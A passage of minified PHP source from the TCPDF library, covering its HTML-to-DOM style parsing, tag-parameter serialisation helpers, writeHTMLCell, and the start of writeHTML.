",$html);$repTable=array(" "=>' ',""=>' ',""=>' ',"\"=>"\");$html=strtr($html,$repTable);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</pre>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+6));while(preg_match("'<xre([^\>]*)>(.*?)
(.*?)</pre>'si",$html_b)){$html_b=preg_replace("'<xre([^\>]*)>(.*?)
(.*?)</pre>'si","<xre><br /></pre>",$html_b);}while(preg_match("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'],$html_b)){$html_b=preg_replace("'<xre([^\>]*)>(.*?)".$this->re_space['p']."(.*?)</pre>'".$this->re_space['m'],"<xre> </pre>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+6);$offset=strlen($html_a.$html_b);}$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</textarea>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+11));while(preg_match("'<textarea([^\>]*)>(.*?)
(.*?)</textarea>'si",$html_b)){$html_b=preg_replace("'<textarea([^\>]*)>(.*?)
(.*?)</textarea>'si","<textarea><TBR></textarea>",$html_b);$html_b=preg_replace("'<textarea([^\>]*)>(.*?)[\"](.*?)</textarea>'si","<textarea>''</textarea>",$html_b);}$html=$html_a.$html_b.substr($html,$pos+11);$offset=strlen($html_a.$html_b);}$html=preg_replace('/([\s]*)<option/si','<option',$html);$html=preg_replace('/<\/option>([\s]*)/si','</option>',$html);$offset=0;while(($offset<strlen($html)) AND ($pos=strpos($html,'</option>',$offset))!==false){$html_a=substr($html,0,$offset);$html_b=substr($html,$offset,($pos-$offset+9));while(preg_match("'<option([^\>]*)>(.*?)</option>'si",$html_b)){$html_b=preg_replace("'<option([\s]+)value=\"([^\"]*)\"([^\>]*)>(.*?)</option>'si","#!TaB!##!NwL!#",$html_b);$html_b=preg_replace("'<option([^\>]*)>(.*?)</option>'si","#!NwL!#",$html_b);}$html=$html_a.$html_b.substr($html,$pos+9);$offset=strlen($html_a.$html_b);}if(preg_match("'</select'si",$html)){$html=preg_replace("'<select([^\>]*)>'si","<select opt=\"",$html);$html=preg_replace("'#!NwL!#</select>'si","\" />",$html);}$html=str_replace("
",' ',$html);$html=str_replace('<TBR>',"
",$html);$html=preg_replace('/[\s]+<\/(table|tr|ul|ol|dl)>/','</>',$html);$html=preg_replace('/'.$this->re_space['p'].'+<\/(td|th|li|dt|dd)>/'.$this->re_space['m'],'</>',$html);$html=preg_replace('/[\s]+<(tr|td|th|li|dt|dd)/','<',$html);$html=preg_replace('/'.$this->re_space['p'].'+<(ul|ol|dl|br)/'.$this->re_space['m'],'<',$html);$html=preg_replace('/<\/(table|tr|td|th|blockquote|dd|dt|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|ul|p)>[\s]+</','</><',$html);$html=preg_replace('/<\/(td|th)>/','<marker style="font-size:0"/></>',$html);$html=preg_replace('/<\/table>([\s]*)<marker style="font-size:0"\/>/','</table>',$html);$html=preg_replace('/'.$this->re_space['p'].'+<img/'.$this->re_space['m'],chr(32).'<img',$html);$html=preg_replace('/<img([^\>]*)>[\s]+([^\<])/xi','<img> ',$html);$html=preg_replace('/<img([^\>]*)>/xi','<img><span><marker style="font-size:0"/></span>',$html);$html=preg_replace('/<xre/','<pre',$html);$html=preg_replace('/<textarea([^\>]*)>([^\<]*)<\/textarea>/xi','<textarea value="" />',$html);$html=preg_replace('/<li([^\>]*)><\/li>/','<li> </li>',$html);$html=preg_replace('/<li([^\>]*)>'.$this->re_space['p'].'*<img/'.$this->re_space['m'],'<li><font size="1"> </font><img',$html);$html=preg_replace('/<([^\>\/]*)>[\s]/','<> ',$html);$html=preg_replace('/[\s]<\/([^\>]*)>/',' </>',$html);$html=preg_replace('/<su([bp])/','<zws/><su',$html);$html=preg_replace('/<\/su([bp])>/','</su><zws/>',$html);$html=preg_replace('/'.$this->re_space['p'].'+/'.$this->re_space['m'],chr(32),$html);$html=$this->stringTrim($html);$html=preg_replace('/<li><br([^\>]*)>/','<li> <br>',$html);$html=preg_replace('/^<img/','<span style="font-size:0"><br /></span> <img',$html,1);$tagpattern='/(<[^>]+>)/';$a=preg_split($tagpattern,$html,-1,PREG_SPLIT_DELIM_CAPTURE|PREG_SPLIT_NO_EMPTY);$maxel=count($a);$elkey=0;$key=0;$dom=array();$dom[$key]=array();$dom[$key]['tag']=false;$dom[$key]['block']=false;$dom[$key]['value']='';$dom[$key]['parent']=0;$dom[$key]['hide']=false;$dom[$key]['fontname']=$this->FontFamily;$dom[$key]['fontstyle']=$this->FontStyle;$dom[$key]['fontsize']=$this->FontSizePt;$dom[$key]['font-stretch']=$this->font_stretching;$dom[$key]['letter-spacing']=$this->font_spacing;$dom[$key]['stroke']=$this->textstrokewidth;$dom[$key]['fill']=(($this->textrendermode%2)==0);$dom[$key]['clip']=($this->textrendermode>3);$dom[$key]['line-height']=$this->cell_height_ratio;$dom[$key]['bgcolor']=false;$dom[$key]['fgcolor']=$this->fgcolor;$dom[$key]['strokecolor']=$this->strokecolor;$dom[$key]['align']='';$dom[$key]['listtype']='';$dom[$key]['text-indent']=0;$dom[$key]['text-transform']='';$dom[$key]['border']=array();$dom[$key]['dir']=$this->rtl?'rtl':'ltr';$thead=false;++$key;$level=array();array_push($level,0);while($elkey<$maxel){$dom[$key]=array();$element=$a[$elkey];$dom[$key]['elkey']=$elkey;if(preg_match($tagpattern,$element)){$element=substr($element,1,-1);preg_match('/[\/]?([a-zA-Z0-9]*)/',$element,$tag);$tagname=strtolower($tag[1]);if($tagname=='thead'){if($element[0]=='/'){$thead=false;}else {$thead=true;}++$elkey;continue;}$dom[$key]['tag']=true;$dom[$key]['value']=$tagname;if(in_array($dom[$key]['value'],$blocktags)){$dom[$key]['block']=true;}else {$dom[$key]['block']=false;}if($element[0]=='/'){$dom[$key]['opening']=false;$dom[$key]['parent']=end($level);array_pop($level);$dom[$key]['hide']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['hide'];$dom[$key]['fontname']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontname'];$dom[$key]['fontstyle']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontstyle'];$dom[$key]['fontsize']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fontsize'];$dom[$key]['font-stretch']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['font-stretch'];$dom[$key]['letter-spacing']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['letter-spacing'];$dom[$key]['stroke']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['stroke'];$dom[$key]['fill']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fill'];$dom[$key]['clip']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['clip'];$dom[$key]['line-height']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['line-height'];$dom[$key]['bgcolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['bgcolor'];$dom[$key]['fgcolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['fgcolor'];$dom[$key]['strokecolor']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['strokecolor'];$dom[$key]['align']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['align'];$dom[$key]['text-transform']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['text-transform'];$dom[$key]['dir']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['dir'];if(isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype'])){$dom[$key]['listtype']=$dom[($dom[($dom[$key]['parent'])]['parent'])]['listtype'];}if(($dom[$key]['value']=='tr') AND (!isset($dom[($dom[($dom[$key]['parent'])]['parent'])]['cols']))){$dom[($dom[($dom[$key]['parent'])]['parent'])]['cols']=$dom[($dom[$key]['parent'])]['cols'];}if(($dom[$key]['value']=='td') OR ($dom[$key]['value']=='th')){$dom[($dom[$key]['parent'])]['content']=$csstagarray;for($i=($dom[$key]['parent']+1);$i<$key;++$i){$dom[($dom[$key]['parent'])]['content'].=stripslashes($a[$dom[$i]['elkey']]);}$key=$i;$dom[($dom[$key]['parent'])]['content']=str_replace('<table','<table nested="true"',$dom[($dom[$key]['parent'])]['content']);$dom[($dom[$key]['parent'])]['content']=str_replace('<thead>','',$dom[($dom[$key]['parent'])]['content']);$dom[($dom[$key]['parent'])]['content']=str_replace('</thead>','',$dom[($dom[$key]['parent'])]['content']);}if(($dom[$key]['value']=='tr') AND ($dom[($dom[$key]['parent'])]['thead']===true)){if(TCPDF_STATIC::empty_string($dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'])){$dom[($dom[($dom[$key]['parent'])]['parent'])]['thead']=$csstagarray.$a[$dom[($dom[($dom[$key]['parent'])]['parent'])]['elkey']];}for($i=$dom[$key]['parent'];$i<=$key;++$i){$dom[($dom[($dom[$key]['parent'])]['parent'])]['thead'].=$a[$dom[$i]['elkey']];}if(!isset($dom[($dom[$key]['parent'])]['attribute'])){$dom[($dom[$key]['parent'])]['attribute']=array();}$dom[($dom[$key]['parent'])]['attribute']['nobr']='true';}if(($dom[$key]['value']=='table') AND (!TCPDF_STATIC::empty_string($dom[($dom[$key]['parent'])]['thead']))){$dom[($dom[$key]['parent'])]['thead']=str_replace(' nobr="true"','',$dom[($dom[$key]['parent'])]['thead']);$dom[($dom[$key]['parent'])]['thead'].='</tablehead>';}}else {$dom[$key]['opening']=true;$dom[$key]['parent']=end($level);if((substr($element,-1,1)=='/') OR (in_array($dom[$key]['value'],$selfclosingtags))){$dom[$key]['self']=true;}else {array_push($level,$key);$dom[$key]['self']=false;}$parentkey=0;if($key>0){$parentkey=$dom[$key]['parent'];$dom[$key]['hide']=$dom[$parentkey]['hide'];$dom[$key]['fontname']=$dom[$parentkey]['fontname'];$dom[$key]['fontstyle']=$dom[$parentkey]['fontstyle'];$dom[$key]['fontsize']=$dom[$parentkey]['fontsize'];$dom[$key]['font-stretch']=$dom[$parentkey]['font-stretch'];$dom[$key]['letter-spacing']=$dom[$parentkey]['letter-spacing'];$dom[$key]['stroke']=$dom[$parentkey]['stroke'];$dom[$key]['fill']=$dom[$parentkey]['fill'];$dom[$key]['clip']=$dom[$parentkey]['clip'];$dom[$key]['line-height']=$dom[$parentkey]['line-height'];$dom[$key]['bgcolor']=$dom[$parentkey]['bgcolor'];$dom[$key]['fgcolor']=$dom[$parentkey]['fgcolor'];$dom[$key]['strokecolor']=$dom[$parentkey]['strokecolor'];$dom[$key]['align']=$dom[$parentkey]['align'];$dom[$key]['listtype']=$dom[$parentkey]['listtype'];$dom[$key]['text-indent']=$dom[$parentkey]['text-indent'];$dom[$key]['text-transform']=$dom[$parentkey]['text-transform'];$dom[$key]['border']=array();$dom[$key]['dir']=$dom[$parentkey]['dir'];}preg_match_all('/([^=\s]*)[\s]*=[\s]*"([^"]*)"/',$element,$attr_array,PREG_PATTERN_ORDER);$dom[$key]['attribute']=array();while(list($id,$name)=each($attr_array[1])){$dom[$key]['attribute'][strtolower($name)]=$attr_array[2][$id];}if(!empty($css)){list($dom[$key]['csssel'],$dom[$key]['cssdata'])=TCPDF_STATIC::getCSSdataArray($dom,$key,$css);$dom[$key]['attribute']['style']=TCPDF_STATIC::getTagStyleFromCSSarray($dom[$key]['cssdata']);}if(isset($dom[$key]['attribute']['style']) AND !empty($dom[$key]['attribute']['style'])){preg_match_all('/([^;:\s]*):([^;]*)/',$dom[$key]['attribute']['style'],$style_array,PREG_PATTERN_ORDER);$dom[$key]['style']=array();while(list($id,$name)=each($style_array[1])){$dom[$key]['style'][strtolower($name)]=trim($style_array[2][$id]);}if(isset($dom[$key]['style']['direction'])){$dom[$key]['dir']=$dom[$key]['style']['direction'];}if(isset($dom[$key]['style']['display'])){$dom[$key]['hide']=(trim(strtolower($dom[$key]['style']['display']))=='none');}if(isset($dom[$key]['style']['font-family'])){$dom[$key]['fontname']=$this->getFontFamilyName($dom[$key]['style']['font-family']);}if(isset($dom[$key]['style']['list-style-type'])){$dom[$key]['listtype']=trim(strtolower($dom[$key]['style']['list-style-type']));if($dom[$key]['listtype']=='inherit'){$dom[$key]['listtype']=$dom[$parentkey]['listtype'];}}if(isset($dom[$key]['style']['text-indent'])){$dom[$key]['text-indent']=$this->getHTMLUnitToUnits($dom[$key]['style']['text-indent']);if($dom[$key]['text-indent']=='inherit'){$dom[$key]['text-indent']=$dom[$parentkey]['text-indent'];}}if(isset($dom[$key]['style']['text-transform'])){$dom[$key]['text-transform']=$dom[$key]['style']['text-transform'];}if(isset($dom[$key]['style']['font-size'])){$fsize=trim($dom[$key]['style']['font-size']);$dom[$key]['fontsize']=$this->getHTMLFontUnits($fsize,$dom[0]['fontsize'],$dom[$parentkey]['fontsize'],'pt');}if(isset($dom[$key]['style']['font-stretch'])){$dom[$key]['font-stretch']=$this->getCSSFontStretching($dom[$key]['style']['font-stretch'],$dom[$parentkey]['font-stretch']);}if(isset($dom[$key]['style']['letter-spacing'])){$dom[$key]['letter-spacing']=$this->getCSSFontSpacing($dom[$key]['style']['letter-spacing'],$dom[$parentkey]['letter-spacing']);}if(isset($dom[$key]['style']['line-height'])){$lineheight=trim($dom[$key]['style']['line-height']);switch($lineheight){case 'normal':{$dom[$key]['line-height']=$dom[0]['line-height'];break;}case 'inherit':{$dom[$key]['line-height']=$dom[$parentkey]['line-height'];}default:{if(is_numeric($lineheight)){$lineheight=($lineheight*100).'%';}$dom[$key]['line-height']=$this->getHTMLUnitToUnits($lineheight,1,'%',true);if(substr($lineheight,-1)!=='%'){if($dom[$key]['fontsize']<=0){$dom[$key]['line-height']=1;}else {$dom[$key]['line-height']=(($dom[$key]['line-height']-$this->cell_padding['T']-$this->cell_padding['B'])/$dom[$key]['fontsize']);}}}}}if(isset($dom[$key]['style']['font-weight'])){if(strtolower($dom[$key]['style']['font-weight'][0])=='n'){if(strpos($dom[$key]['fontstyle'],'B')!==false){$dom[$key]['fontstyle']=str_replace('B','',$dom[$key]['fontstyle']);}}elseif(strtolower($dom[$key]['style']['font-weight'][0])=='b'){$dom[$key]['fontstyle'].='B';}}if(isset($dom[$key]['style']['font-style']) AND (strtolower($dom[$key]['style']['font-style'][0])=='i')){$dom[$key]['fontstyle'].='I';}if(isset($dom[$key]['style']['color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['style']['color']))){$dom[$key]['fgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['color'],$this->spot_colors);}elseif($dom[$key]['value']=='a'){$dom[$key]['fgcolor']=$this->htmlLinkColorArray;}if(isset($dom[$key]['style']['background-color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['style']['background-color']))){$dom[$key]['bgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['background-color'],$this->spot_colors);}if(isset($dom[$key]['style']['text-decoration'])){$decors=explode(' ',strtolower($dom[$key]['style']['text-decoration']));foreach($decors as $dec){$dec=trim($dec);if(!TCPDF_STATIC::empty_string($dec)){if($dec[0]=='u'){$dom[$key]['fontstyle'].='U';}elseif($dec[0]=='l'){$dom[$key]['fontstyle'].='D';}elseif($dec[0]=='o'){$dom[$key]['fontstyle'].='O';}}}}elseif($dom[$key]['value']=='a'){$dom[$key]['fontstyle']=$this->htmlLinkFontStyle;}if(isset($dom[$key]['style']['width'])){$dom[$key]['width']=$dom[$key]['style']['width'];}if(isset($dom[$key]['style']['height'])){$dom[$key]['height']=$dom[$key]['style']['height'];}if(isset($dom[$key]['style']['text-align'])){$dom[$key]['align']=strtoupper($dom[$key]['style']['text-align'][0]);}if(isset($dom[$key]['style']['border'])){$borderstyle=$this->getCSSBorderStyle($dom[$key]['style']['border']);if(!empty($borderstyle)){$dom[$key]['border']['LTRB']=$borderstyle;}}if(isset($dom[$key]['style']['border-color'])){$brd_colors=preg_split('/[\s]+/',trim($dom[$key]['style']['border-color']));if(isset($brd_colors[3])){$dom[$key]['border']['L']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[3],$this->spot_colors);}if(isset($brd_colors[1])){$dom[$key]['border']['R']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[1],$this->spot_colors);}if(isset($brd_colors[0])){$dom[$key]['border']['T']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[0],$this->spot_colors);}if(isset($brd_colors[2])){$dom[$key]['border']['B']['color']=TCPDF_COLORS::convertHTMLColorToDec($brd_colors[2],$this->spot_colors);}}if(isset($dom[$key]['style']['border-width'])){$brd_widths=preg_split('/[\s]+/',trim($dom[$key]['style']['border-width']));if(isset($brd_widths[3])){$dom[$key]['border']['L']['width']=$this->getCSSBorderWidth($brd_widths[3]);}if(isset($brd_widths[1])){$dom[$key]['border']['R']['width']=$this->getCSSBorderWidth($brd_widths[1]);}if(isset($brd_widths[0])){$dom[$key]['border']['T']['width']=$this->getCSSBorderWidth($brd_widths[0]);}if(isset($brd_widths[2])){$dom[$key]['border']['B']['width']=$this->getCSSBorderWidth($brd_widths[2]);}}if(isset($dom[$key]['style']['border-style'])){$brd_styles=preg_split('/[\s]+/',trim($dom[$key]['style']['border-style']));if(isset($brd_styles[3]) AND ($brd_styles[3]!='none')){$dom[$key]['border']['L']['cap']='square';$dom[$key]['border']['L']['join']='miter';$dom[$key]['border']['L']['dash']=$this->getCSSBorderDashStyle($brd_styles[3]);if($dom[$key]['border']['L']['dash']<0){$dom[$key]['border']['L']=array();}}if(isset($brd_styles[1])){$dom[$key]['border']['R']['cap']='square';$dom[$key]['border']['R']['join']='miter';$dom[$key]['border']['R']['dash']=$this->getCSSBorderDashStyle($brd_styles[1]);if($dom[$key]['border']['R']['dash']<0){$dom[$key]['border']['R']=array();}}if(isset($brd_styles[0])){$dom[$key]['border']['T']['cap']='square';$dom[$key]['border']['T']['join']='miter';$dom[$key]['border']['T']['dash']=$this->getCSSBorderDashStyle($brd_styles[0]);if($dom[$key]['border']['T']['dash']<0){$dom[$key]['border']['T']=array();}}if(isset($brd_styles[2])){$dom[$key]['border']['B']['cap']='square';$dom[$key]['border']['B']['join']='miter';$dom[$key]['border']['B']['dash']=$this->getCSSBorderDashStyle($brd_styles[2]);if($dom[$key]['border']['B']['dash']<0){$dom[$key]['border']['B']=array();}}}$cellside=array('L'=>'left','R'=>'right','T'=>'top','B'=>'bottom');foreach($cellside as $bsk=>$bsv){if(isset($dom[$key]['style']['border-'.$bsv])){$borderstyle=$this->getCSSBorderStyle($dom[$key]['style']['border-'.$bsv]);if(!empty($borderstyle)){$dom[$key]['border'][$bsk]=$borderstyle;}}if(isset($dom[$key]['style']['border-'.$bsv.'-color'])){$dom[$key]['border'][$bsk]['color']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['style']['border-'.$bsv.'-color'],$this->spot_colors);}if(isset($dom[$key]['style']['border-'.$bsv.'-width'])){$dom[$key]['border'][$bsk]['width']=$this->getCSSBorderWidth($dom[$key]['style']['border-'.$bsv.'-width']);}if(isset($dom[$key]['style']['border-'.$bsv.'-style'])){$dom[$key]['border'][$bsk]['dash']=$this->getCSSBorderDashStyle($dom[$key]['style']['border-'.$bsv.'-style']);if($dom[$key]['border'][$bsk]['dash']<0){$dom[$key]['border'][$bsk]=array();}}}if(isset($dom[$key]['style']['padding'])){$dom[$key]['padding']=$this->getCSSPadding($dom[$key]['style']['padding']);}else {$dom[$key]['padding']=$this->cell_padding;}foreach($cellside as $psk=>$psv){if(isset($dom[$key]['style']['padding-'.$psv])){$dom[$key]['padding'][$psk]=$this->getHTMLUnitToUnits($dom[$key]['style']['padding-'.$psv],0,'px',false);}}if(isset($dom[$key]['style']['margin'])){$dom[$key]['margin']=$this->getCSSMargin($dom[$key]['style']['margin']);}else {$dom[$key]['margin']=$this->cell_margin;}foreach($cellside as $psk=>$psv){if(isset($dom[$key]['style']['margin-'.$psv])){$dom[$key]['margin'][$psk]=$this->getHTMLUnitToUnits(str_replace('auto','0',$dom[$key]['style']['margin-'.$psv]),0,'px',false);}}if(isset($dom[$key]['style']['border-spacing'])){$dom[$key]['border-spacing']=$this->getCSSBorderMargin($dom[$key]['style']['border-spacing']);}if(isset($dom[$key]['style']['page-break-inside']) AND ($dom[$key]['style']['page-break-inside']=='avoid')){$dom[$key]['attribute']['nobr']='true';}if(isset($dom[$key]['style']['page-break-before'])){if($dom[$key]['style']['page-break-before']=='always'){$dom[$key]['attribute']['pagebreak']='true';}elseif($dom[$key]['style']['page-break-before']=='left'){$dom[$key]['attribute']['pagebreak']='left';}elseif($dom[$key]['style']['page-break-before']=='right'){$dom[$key]['attribute']['pagebreak']='right';}}if(isset($dom[$key]['style']['page-break-after'])){if($dom[$key]['style']['page-break-after']=='always'){$dom[$key]['attribute']['pagebreakafter']='true';}elseif($dom[$key]['style']['page-break-after']=='left'){$dom[$key]['attribute']['pagebreakafter']='left';}elseif($dom[$key]['style']['page-break-after']=='right'){$dom[$key]['attribute']['pagebreakafter']='right';}}}if(isset($dom[$key]['attribute']['display'])){$dom[$key]['hide']=(trim(strtolower($dom[$key]['attribute']['display']))=='none');}if(isset($dom[$key]['attribute']['border']) AND ($dom[$key]['attribute']['border']!=0)){$borderstyle=$this->getCSSBorderStyle($dom[$key]['attribute']['border'].' solid black');if(!empty($borderstyle)){$dom[$key]['border']['LTRB']=$borderstyle;}}if($dom[$key]['value']=='font'){if(isset($dom[$key]['attribute']['face'])){$dom[$key]['fontname']=$this->getFontFamilyName($dom[$key]['attribute']['face']);}if(isset($dom[$key]['attribute']['size'])){if($key>0){if($dom[$key]['attribute']['size'][0]=='+'){$dom[$key]['fontsize']=$dom[($dom[$key]['parent'])]['fontsize']+intval(substr($dom[$key]['attribute']['size'],1));}elseif($dom[$key]['attribute']['size'][0]=='-'){$dom[$key]['fontsize']=$dom[($dom[$key]['parent'])]['fontsize']-intval(substr($dom[$key]['attribute']['size'],1));}else {$dom[$key]['fontsize']=intval($dom[$key]['attribute']['size']);}}else {$dom[$key]['fontsize']=intval($dom[$key]['attribute']['size']);}}}if((($dom[$key]['value']=='ul') OR ($dom[$key]['value']=='ol') OR ($dom[$key]['value']=='dl')) AND (!isset($dom[$key]['align']) OR TCPDF_STATIC::empty_string($dom[$key]['align']) OR ($dom[$key]['align']!='J'))){if($this->rtl){$dom[$key]['align']='R';}else {$dom[$key]['align']='L';}}if(($dom[$key]['value']=='small') OR ($dom[$key]['value']=='sup') OR ($dom[$key]['value']=='sub')){if(!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])){$dom[$key]['fontsize']=$dom[$key]['fontsize']*K_SMALL_RATIO;}}if(($dom[$key]['value']=='strong') OR ($dom[$key]['value']=='b')){$dom[$key]['fontstyle'].='B';}if(($dom[$key]['value']=='em') OR ($dom[$key]['value']=='i')){$dom[$key]['fontstyle'].='I';}if($dom[$key]['value']=='u'){$dom[$key]['fontstyle'].='U';}if(($dom[$key]['value']=='del') OR ($dom[$key]['value']=='s') OR ($dom[$key]['value']=='strike')){$dom[$key]['fontstyle'].='D';}if(!isset($dom[$key]['style']['text-decoration']) AND ($dom[$key]['value']=='a')){$dom[$key]['fontstyle']=$this->htmlLinkFontStyle;}if(($dom[$key]['value']=='pre') OR ($dom[$key]['value']=='tt')){$dom[$key]['fontname']=$this->default_monospaced_font;}if(!empty($dom[$key]['value']) AND ($dom[$key]['value'][0]=='h') AND (intval($dom[$key]['value']{1})>0) AND (intval($dom[$key]['value']{1})<7)){if(!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])){$headsize=(4-intval($dom[$key]['value']{1}))*2;$dom[$key]['fontsize']=$dom[0]['fontsize']+$headsize;}if(!isset($dom[$key]['style']['font-weight'])){$dom[$key]['fontstyle'].='B';}}if(($dom[$key]['value']=='table')){$dom[$key]['rows']=0;$dom[$key]['trids']=array();$dom[$key]['thead']='';}if(($dom[$key]['value']=='tr')){$dom[$key]['cols']=0;if($thead){$dom[$key]['thead']=true;}else {$dom[$key]['thead']=false;++$dom[($dom[$key]['parent'])]['rows'];array_push($dom[($dom[$key]['parent'])]['trids'],$key);}}if(($dom[$key]['value']=='th') OR ($dom[$key]['value']=='td')){if(isset($dom[$key]['attribute']['colspan'])){$colspan=intval($dom[$key]['attribute']['colspan']);}else {$colspan=1;}$dom[$key]['attribute']['colspan']=$colspan;$dom[($dom[$key]['parent'])]['cols']+=$colspan;}if(isset($dom[$key]['attribute']['dir'])){$dom[$key]['dir']=$dom[$key]['attribute']['dir'];}if(isset($dom[$key]['attribute']['color']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['color']))){$dom[$key]['fgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['color'],$this->spot_colors);}elseif(!isset($dom[$key]['style']['color']) AND ($dom[$key]['value']=='a')){$dom[$key]['fgcolor']=$this->htmlLinkColorArray;}if(isset($dom[$key]['attribute']['bgcolor']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['bgcolor']))){$dom[$key]['bgcolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['bgcolor'],$this->spot_colors);}if(isset($dom[$key]['attribute']['strokecolor']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['strokecolor']))){$dom[$key]['strokecolor']=TCPDF_COLORS::convertHTMLColorToDec($dom[$key]['attribute']['strokecolor'],$this->spot_colors);}if(isset($dom[$key]['attribute']['width'])){$dom[$key]['width']=$dom[$key]['attribute']['width'];}if(isset($dom[$key]['attribute']['height'])){$dom[$key]['height']=$dom[$key]['attribute']['height'];}if(isset($dom[$key]['attribute']['align']) AND (!TCPDF_STATIC::empty_string($dom[$key]['attribute']['align'])) AND ($dom[$key]['value']!=='img')){$dom[$key]['align']=strtoupper($dom[$key]['attribute']['align'][0]);}if(isset($dom[$key]['attribute']['stroke'])){$dom[$key]['stroke']=$this->getHTMLUnitToUnits($dom[$key]['attribute']['stroke'],$dom[$key]['fontsize'],'pt',true);}if(isset($dom[$key]['attribute']['fill'])){if($dom[$key]['attribute']['fill']=='true'){$dom[$key]['fill']=true;}else {$dom[$key]['fill']=false;}}if(isset($dom[$key]['attribute']['clip'])){if($dom[$key]['attribute']['clip']=='true'){$dom[$key]['clip']=true;}else {$dom[$key]['clip']=false;}}}}else {$dom[$key]['tag']=false;$dom[$key]['block']=false;$dom[$key]['parent']=end($level);$dom[$key]['dir']=$dom[$dom[$key]['parent']]['dir'];if(!empty($dom[$dom[$key]['parent']]['text-transform'])){if(function_exists('mb_convert_case')){$ttm=array('capitalize'=>MB_CASE_TITLE,'uppercase'=>MB_CASE_UPPER,'lowercase'=>MB_CASE_LOWER);if(isset($ttm[$dom[$dom[$key]['parent']]['text-transform']])){$element=mb_convert_case($element,$ttm[$dom[$dom[$key]['parent']]['text-transform']],$this->encoding);}}elseif(!$this->isunicode){switch($dom[$dom[$key]['parent']]['text-transform']){case 'capitalize':{$element=ucwords(strtolower($element));break;}case 'uppercase':{$element=strtoupper($element);break;}case 'lowercase':{$element=strtolower($element);break;}}}}$dom[$key]['value']=stripslashes($this->unhtmlentities($element));}++$elkey;++$key;}return $dom;} function getSpaceString(){$spacestr=chr(32);if($this->isUnicodeFont()){$spacestr=chr(0).chr(32);}return $spacestr;} function getHashForTCPDFtagParams($data){return md5(strlen($data).$this->file_id.$data);} function serializeTCPDFtagParameters($data){$encoded=urlencode(json_encode($data));return $this->getHashForTCPDFtagParams($encoded).$encoded;} function unserializeTCPDFtagParameters($data){$hash=substr($data,0,32);$encoded=substr($data,32);if($hash!=$this->getHashForTCPDFtagParams($encoded)){$this->Error('Invalid parameters');}return json_decode(urldecode($encoded),true);} function writeHTMLCell($w,$h,$x,$y,$html='',$border=0,$ln=0,$fill=false,$reseth=true,$align='',$autopadding=true){return $this->MultiCell($w,$h,$html,$border,$align,$fill,$ln,$x,$y,$reseth,0,true,$autopadding,0,'T',false);} function writeHTML($html,$ln=true,$fill=false,$reseth=false,$cell=false,$align=''){$gvars=$this->getGraphicVars();$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$prevPage=$this->page;$prevlMargin=$this->lMargin;$prevrMargin=$this->rMargin;$curfontname=$this->FontFamily;$curfontstyle=$this->FontStyle;$curfontsize=$this->FontSizePt;$curfontascent=$this->getFontAscent($curfontname,$curfontstyle,$curfontsize);$curfontdescent=$this->getFontDescent($curfontname,$curfontstyle,$curfontsize);$curfontstretcing=$this->font_stretching;$curfonttracking=$this->font_spacing;$this->newline=true;$newline=true;$startlinepage=$this->page;$minstartliney=$this->y;$maxbottomliney=0;$startlinex=$this->x;$startliney=$this->y;$yshift=0;$loop=0;$curpos=0;$this_method_vars=array();$undo=false;$fontaligned=false;$reverse_dir=false;$this->premode=false;if($this->inxobj){$pask=count($this->xobjects[$this->xobjid]['annotations']);}elseif(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}$lalign=$align;$plalign=$align;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$w-=($this->cell_padding['L']+$this->cell_padding['R']);if($cell){if($this->rtl){$this->x-=$this->cell_padding['R'];$this->lMargin+=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];$this->rMargin+=$this->cell_padding['L'];}}if($this->customlistindent>=0){$this->listindent=$this->customlistindent;}else 